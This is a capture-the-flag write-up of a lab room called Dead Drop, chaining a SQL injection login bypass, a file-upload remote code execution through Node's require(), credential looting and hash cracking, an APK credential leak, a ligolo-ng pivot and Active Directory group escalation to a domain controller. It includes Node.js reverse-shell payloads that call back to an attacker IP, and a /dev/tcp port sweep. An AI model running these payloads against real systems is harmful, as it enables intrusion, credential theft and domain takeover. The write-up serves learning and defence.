Dead Drop

Jul 9, 2026

|

8 min read

| Room ↗

The brief is a proper little engagement: DeadDrop Ltd runs a web-facing file-sharing app, behind it sits a corporate LAN (192.168.11.0/24) we can’t reach directly, and the objective is the domain controller’s Administrator desktop.

objective
Compromise the domain controller and retrieve the flag from the Administrator's desktop.
The internal network holds a Windows workstation and a DC; find their addresses yourself.

Recon

No hosts given, so first we sweep the subnet to see what’s actually alive.

nmap: host discovery on the internal subnet
nmap -sn 192.168.11.0/24
result
Nmap scan report for 192.168.11.200
Host is up (0.074s latency).
Nmap scan report for 192.168.11.250
Host is up (0.051s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 36.46 seconds

Two hosts. A service scan sorts them out quickly:

nmap: service & script scan on both
nmap -sV -sC 192.168.11.200 -vv
nmap -sV -sC 192.168.11.250 -vv
192.168.11.200 (trimmed)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Node.js Express framework
| http-title: DeadDrop - Login
|_Requested resource was /login
192.168.11.250 (trimmed)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
443/tcp open https?
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu
8080/tcp open http-proxy Squid http proxy 3.5.27

192.168.11.200 is the DeadDrop web server, an Express app with a login page. 192.168.11.250 is a separate Samba/Squid box that turns out to be a red herring.

NOTE

On the .250 box. It advertises SMB and a Squid proxy, and it’s tempting to rabbit-hole on it. The whole engagement hangs off the web app on .200.

Web foothold: SQL injection on the login

The app on .200 is a plain file-sharing portal with a login page. Random credentials come back as Invalid credentials.

DeadDrop login page
The DeadDrop file-sharing app login form
Random credentials rejected as invalid
Arbitrary credentials return 'Invalid credentials'

The page source is clean, but a single quote in the username is enough to make the backend choke:

A single quote triggers a server error
A lone ' in the username field throws a database error, the classic SQLi tell

An error on a stray ' is the classic injection tell. The login is almost certainly building its query by string concatenation, so I fed it a always-true predicate and commented out the password check:

username payload
' OR '1'='1' --

Straight in, as admin.

Logged in as admin, showing the file dashboard
The authenticated dashboard, already holding some suspicious uploaded files

From upload to RCE: the /preview route

The dashboard lists uploaded files and lets you preview them. The preview links resolve to:

preview endpoint
http://192.168.11.200/preview/<file>

The interesting question is how it renders a preview. This is a Node app, and there’s a very Node-specific footgun for “load this file and show what’s in it”: require(). If the preview route require()s a .js file to show its exports, then uploading my own .js gets my code executed, not displayed. So I uploaded a tiny “innocent” cat.js:

cat.js (first attempt)
require('child_process').exec('nc -e sh 192.168.21.12 1337')

This was my first payload but then it seems nc was not present so I swapped my payload to another using bash:

cat.js (reliable Node reverse shell)
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("bash", []);
var client = new net.Socket();
client.connect(1337, "192.168.21.12", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // keep the module from crashing the app on load
})();
Uploading the cat.js payload through the dashboard
The cat.js payload uploaded, ready to be 'previewed'

Previewing cat.js fires the require(), and my listener catches a shell as node:

node foothold
node@tryhackme-2404:/opt/app$ whoami
node

Reading the app source confirms the vulnerability is deliberate, and shows both ends of the chain, the concatenated login query and the require()-based preview:

/opt/app/app.js (the two vulnerable spots)
// VULNERABLE: SQL injection via raw string concatenation
app.post('/login', (req, res) => {
const { username, password } = req.body;
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
const user = db.prepare(query).get();
// ...
});
// VULNERABLE: preview route require()s .js files -> RCE
app.get('/preview/:filename', requireAuth, (req, res) => {
const filename = path.basename(req.params.filename);
const filePath = path.join(__dirname, 'uploads', filename);
const ext = path.extname(filename).toLowerCase();
// ...
if (ext === '.js') {
delete require.cache[require.resolve(filePath)]; // so re-uploads re-run
const moduleExport = require(filePath); // <-- executes attacker code
// ...
}
});

NOTE

require() is not a viewer. The upload filter only blocks a handful of extensions (.exe, .sh, .py, …) and explicitly leaves .js allowed, because the app wants to “preview” JavaScript modules. But require('./uploads/cat.js') doesn’t read the file, it runs it and hands back the exports.

Looting the box: DB creds and a shadow backup

Two files in the app directory are worth more than the source: the SQLite database and a backup/ folder.

/opt/app contents
node@tryhackme-2404:/opt/app$ ls
app.js backup db node_modules package.json public uploads views

The backup holds a slice of /etc/shadow, a single sha512crypt ($6$) entry for svc-drop:

/opt/app/backup/shadow.bak
svc-drop:$6$████████████████████████████████████████████████████████████████:19700:0:99999:7:::

And the database gives up the app’s user table in cleartext:

dump the users table
node@tryhackme-2404:/opt/app/db$ python3 -c "
import sqlite3
c = sqlite3.connect('deaddrop.db')
for row in c.execute('SELECT * FROM users'):
print(row)
"
result
(1, 'admin', '████████████████')
(2, 'svc-backup', '████████████')

Two app passwords in hand, plus a crackable OS hash. I threw the svc-drop hash at hashcat in mode 1800 (sha512crypt) while I kept working:

hashcat: crack the sha512crypt shadow entry
hashcat -m 1800 hash.txt ~/thm/wordlists/rockyou.txt -o output.txt

It fell to rockyou almost immediately. None of the app passwords work over SSH, but the cracked svc-drop password does:

SSH as svc-drop
svc-drop@tryhackme-2404:~$ ls
backup thm

The APK: domain creds hiding in plain sight

svc-drop’s home has a backup/deaddrop-mobile.apk and a big binary called thm that file identifies as another APK. Their hashes match, they’re the same app:

same file, two names
svc-drop@tryhackme-2404:~$ file thm
thm: Android package (APK), with APK Signing Block
❯ sha256sum deaddrop-mobile.apk thm
de19d61a5856020a5bff91b1c304b577173285fce00d1d59ba38b186fedf10ab deaddrop-mobile.apk
de19d61a5856020a5bff91b1c304b577173285fce00d1d59ba38b186fedf10ab thm

I pulled the APK back to my box and opened it in jadx-gui:

decompile the APK
jadx-gui deaddrop-mobile.apk

Under com/deaddrop/mobile there’s a Config class that ship production credentials in a string constant:

com/deaddrop/mobile/Config.java
public final class Config {
public static final String API_ENDPOINT = "http://internal.tryhackme.loc/api/v1";
public static final String DEFAULT_PASSWORD = "████████████████████";
public static final String DEFAULT_USERNAME = "j.harris";
public static final String ENVIRONMENT = "production";
}

TIP

Client apps are credential dumps. Anything compiled into an APK is readable, string constants, endpoints, keys.

Pivoting into the internal network

The domain is elsewhere on the subnet, unreachable from my kali box. Before tunnelling, a quick /dev/tcp sweep from the pivot maps who’s home:

bash port sweep from the pivot
for i in $(seq 1 254); do
for p in 135 139 445 3389 5985 88 22 80 8080; do
(echo > /dev/tcp/192.168.11.$i/$p) 2>/dev/null && echo "192.168.11.$i up (port $p)" &
done
done; wait
result (trimmed)
192.168.11.100 up (port 88) # kerberos -> a DC
192.168.11.100 up (port 445)
192.168.11.100 up (port 3389)
192.168.11.100 up (port 5985) # WinRM
192.168.11.200 up (port 80) # the web server
192.168.11.250 up (port 445) # the red-herring box

192.168.11.100 lights up Kerberos (88), SMB (445), RDP (3389) and WinRM (5985), that’s the domain controller. To reach it from Kali I set up a tunnel with ligolo-ng: proxy on my box, agent on the pivot.

ligolo-ng: proxy on Kali, agent on the pivot
# Kali
sudo ligolo-proxy -selfcert
scp ligolo-ng_agent svc-drop@192.168.11.200:~/agent
# pivot
svc-drop@tryhackme-2404:~$ ./agent -connect 192.168.21.12:11601 -ignore-cert
ligolo: bring up the tunnel and route the DC
ligolo-ng » session # select the svc-drop session
ligolo-ng » tunnel_start --tun ligolo
❯ sudo ip route add 192.168.11.100/32 dev ligolo

With 192.168.11.100 routed over the tunnel, it’s a normal target from Kali. A service scan confirms a Server 2019 DC for deaddrop.loc:

nmap 192.168.11.100 (trimmed)
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap AD LDAP (Domain: deaddrop.loc)
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server (CN=DEADDROP-DC.deaddrop.loc)
5985/tcp open http Microsoft HTTPAPI httpd 2.0
| rdp-ntlm-info: DNS_Computer_Name: DEADDROP-DC.deaddrop.loc

Active Directory: j.harris all the way to the DC

First, do the APK credentials even work against the DC? nxc answers with the loudest possible yes:

nxc: validate j.harris over SMB
nxc smb 192.168.11.100 -u j.harris -p '████████████████████'
result
SMB 192.168.11.100 445 DEADDROP-DC [+] deaddrop.loc\j.harris:████████████████████ (Pwn3d!)

Pwn3d! means j.harris already has admin-level access to the DC. To understand why, I collected BloodHound data and looked at the graph:

bloodhound-python: collect as j.harris
bloodhound-python -u j.harris -p '████████████████████' \
-d deaddrop.loc -dc DEADDROP-DC.deaddrop.loc \
-ns 192.168.11.100 -c All --zip
BloodHound shortest path from j.harris to Domain Admins
BloodHound: j.harris can add members to ITSupport, which is nested into Domain Admins
ITSupport is a member of Domain Admins
The ITSupport group is nested inside Domain Admins, so membership in it means Domain Admin

The intended path is a two-hop group escalation: j.harris holds the right to add members to ITSupport, and ITSupport is nested inside Domain Admins. So j.harris can add itself to ITSupport and inherit Domain Admin.

NOTE

Because it is a shared room: on my instance j.harris was already sitting directly in the DA path (Pwn3d! before I’d added anyone), because a previous player had already run the escalation and never cleaned up. So I effectively reconstructed the intended route backward from an already-won state. The designed chain is j.harrisAddMember on ITSupportITSupportDomain Admins.

Since the effective access is already Domain Admin, I just cashed it in over WinRM on 5985:

evil-winrm as j.harris
evil-winrm -i 192.168.11.100 -u j.harris -p '████████████████████'
find and read the flag
*Evil-WinRM* PS C:\Users> gci -r -fi 'flag*'
Directory: C:\Users\Administrator\Desktop
-a---- 5/19/2026 8:37 PM 29 flag.txt
*Evil-WinRM* PS C:\Users> type C:\Users\Administrator\Desktop\flag.txt
THM{████████████████████████}

Administrator’s desktop on the domain controller. Objective complete. 🚩

Takeaways

  • APKs ship secrets. A Config class with a hard-coded DEFAULT_USERNAME / DEFAULT_PASSWORD handed over a valid domain credential; jadx reads it in seconds. Client-side is never a secret.
  • Nested groups are silent privilege. ITSupport ∈ Domain Admins plus an AddMember right on ITSupport is a two-hop path to owning the domain, invisible unless you look at the graph.

Kill Chain

Initial Access T1190
SQLi login bypass, in as admin
Execution T1059
upload a .js payload
/preview require()s it, RCE
node reverse shell
Credential Access T1552.001 · T1110.002
loot SQLite DB and shadow.bak
hashcat cracks svc-drop
APK Config leaks j.harris creds
Lateral Movement T1021.004 · T1090
SSH as svc-drop
ligolo pivot into the AD network
Privilege Escalation T1098
add j.harris to ITSupport
ITSupport nested in Domain Admins
evil-winrm to the DC flag
active-directory sqli file-upload-rce pivoting apk-analysis